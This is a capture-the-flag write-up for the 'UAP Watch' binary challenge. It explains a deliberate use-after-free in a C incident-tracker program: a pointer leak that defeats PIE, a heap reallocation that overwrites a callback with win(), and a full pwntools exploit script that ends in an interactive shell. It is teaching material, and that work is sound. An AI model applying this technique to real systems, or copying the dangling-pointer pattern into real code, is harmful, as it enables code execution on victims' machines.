Challenge Overview
UAP Watch is a binary exploitation challenge that demonstrates a classic Use-After-Free (UAF) vulnerability. The program simulates an “Unidentified Aerial Phenomena” incident tracker with two main data structures: Reports and Signals. The vulnerability lies in how the program handles memory deallocation, leaving dangling pointers that can be exploited to gain code execution.
Initial Analysis
Let’s start by understanding what we’re working with. The program provides a console interface for managing UAP reports and signals:
=== UAP Incident Console ===
1) add report
2) delete report
3) rename report
4) analyze report
5) inspect report (telemetry)
6) add signal
7) drop signal
0) exit
Understanding the Data Structures
The program uses two critical data structures, both exactly 64 bytes in size:
typedef struct {
char title[56]; // User-provided title
cb_t on_analyze; // Callback function pointer
} Report; // 64 bytes total
typedef struct {
char raw[64]; // Raw user data
} Signal; // 64 bytes total
Pointers to both structures are stored in global arrays, but the stuctures themselves are stored on the heap:
1. Report *reports[MAXR];
(max 8 reports)
2. Signal *signals[MAXS];
(max 8 signals)
The Vulnerability
The bug is in the delete_report()
function:
static void delete_report(void) {
int i = getint("[ops] report index: ");
if (i < 0 || i >= MAXR || !reports[i]) { puts("[control] invalid."); return; }
free(reports[i]); /* BUG: pointer left dangling → UAF surface */
/* reports[i] = NULL; */ /* intended fix */
puts("[ops] report deleted (archived).");
}
The critical issue: After calling free()
, the pointer reports[i]
is not set to NULL
. This creates a dangling pointer – the memory has been freed and returned to the heap, but the program still thinks it’s valid.
Exploitation Strategy
The exploitation follows a classic UAF pattern:
1. Create a Report – Allocate memory and set up a valid callback
2. Leak Addresses – Use the inspect function to leak the callback address for PIE bypass
3. Free the Report – Create the dangling pointer
4. Reallocate as Signal – Overwrite the freed memory with controlled data
5. Trigger the UAF – Call the dangling pointer, now pointing to our controlled data
Step-by-Step Exploitation
Step 1: Create a Report
First, we create a report to establish our target memory chunk:
add_report(io, b"sighting-0")
This allocates a 64-byte Report structure on the heap with:
-
title
: “sighting-0” (56 bytes) -
on_analyze
:redaction
function pointer (8 bytes)
Step 2: Leak Addresses for PIE Bypass
Since the binary is compiled with PIE (Position Independent Executable), we need to leak the base address. The inspect_report()
function conveniently leaks the callback pointer:
static void inspect_report(void) {
int i = getint("[ops] report index: ");
if (i < 0 || i >= MAXR || !reports[i]) { puts("[control] invalid."); return; }
printf("[telemetry] title='%s'\n", reports[i]->title);
printf("[telemetry] anomaly-cb=%p\n", (void*)reports[i]->on_analyze); /* info leak for PIE */
}
redaction_leak = inspect_report(io, 0)
We can calculate the PIE base and the address of the win()
function:
pie_base = redaction_leak - redaction_offset
win_addr = pie_base + win_offset
Step 3: Create the Use-After-Free
Now we free the report, creating our dangling pointer:
delete_report(io, 0)
At this point:
- The 64-byte chunk is returned to the heap (likely tcache)
reports[0]
still points to the freed memory- The memory is available for reallocation
Step 4: Reallocate and Overwrite
Since both Report
and Signal
structures are exactly 64 bytes, we can allocate a Signal
that will reuse the same memory chunk:
payload = b"A"*56 + p64(win_addr)
add_signal(io, payload)
This overwrites the freed Report structure with:
- First 56 bytes: “AAAAAAAA…” (overwrites the title)
- Last 8 bytes: Address of `win()` function (overwrites the callback pointer)
Step 5: Trigger the UAF
Finally, we call analyze_report()
which will execute the callback:
static void analyze_report(void) {
int i = getint("[ops] report index: ");
if (i < 0 || i >= MAXR || !reports[i]) { puts("[control] invalid."); return; }
puts("[analysis] beginning spectral/trajectory inference …");
/* If the chunk was freed and reused by a Signal, this is a UAF call. */
reports[i]->on_analyze(); /* ← control target */
}
Since reports[0]
still points to the memory we just overwrote, reports[0]->on_analyze()
now calls our win()
function instead of redaction()
.
Why This Works
Memory Layout Understanding
The key insight is that both structures are exactly 64 bytes, which means they’ll be allocated from the same heap bin (likely tcache for small chunks). When we free a Report
and immediately allocate a Signal
, the heap allocator will likely reuse the same memory location.
Heap Behavior
Modern glibc uses tcache (thread local cache) for small allocations. When we free a 64-byte chunk, it goes into a tcache bin. The next 64-byte allocation will likely reuse this chunk, giving us control over the memory that the dangling pointer still references.
Callback Hijacking
The Report
structure contains a function pointer that gets called during analysis. By overwriting this pointer with the address of win()
, we redirect program execution to our target function.
Complete Exploit Code
#!/usr/bin/env python3
from pwn import *
import sys
context.log_level = "info"
context.arch = "amd64"
# Hardcoded offsets
REDACTION_OFF = 0x11c9
WIN_OFF = 0x11df
def start(argv):
if len(argv) >= 1 and argv[0] == "remote":
host, port = argv[1], int(argv[2])
io = remote(host, port)
return io
else:
path = argv[0] if len(argv) >= 1 else "./uap-watch"
io = process(path, level="DEBUG")
return io
def menu(io):
io.recvuntil(b"=== UAP Incident Console ===")
def add_report(io, title=b"foo"):
menu(io)
io.sendline(b"1")
io.recvuntil(b"new sighting title:")
io.sendline(title)
def delete_report(io, idx=0):
menu(io)
io.sendline(b"2")
io.recvuntil(b"report index:")
io.sendline(str(idx).encode())
def analyze_report(io, idx=0):
menu(io)
io.sendline(b"4")
io.recvuntil(b"report index:")
io.sendline(str(idx).encode())
def inspect_report(io, idx=0):
menu(io)
io.sendline(b"5")
io.recvuntil(b"report index:")
io.sendline(str(idx).encode())
io.recvuntil(b"anomaly-cb=")
leak_line = io.recvline().strip()
leak = int(leak_line, 16)
log.info(f"Leaked callback pointer: {hex(leak)}")
return leak
def add_signal(io, data: bytes):
menu(io)
io.sendline(b"6")
io.recvuntil(b"paste narrowband capture (64 bytes):")
io.send(data)
def main():
io = start(sys.argv[1:])
# Step 1: Create a report
add_report(io, b"sighting-0")
# Step 2: Leak redaction() address
redaction_leak = inspect_report(io, 0)
pie_base = redaction_leak - REDACTION_OFF
win_addr = pie_base + WIN_OFF
log.success(f"PIE base: {hex(pie_base)}")
log.success(f"win() addr: {hex(win_addr)}")
# Step 3: Free report → dangling pointer
delete_report(io, 0)
# Step 4: Allocate signal to overlap, overwrite callback
payload = b"A"*56 + p64(win_addr)
add_signal(io, payload)
# Step 5: Trigger callback
analyze_report(io, 0)
# Step 6: Drop to shell
io.interactive()
if __name__ == "__main__":
main()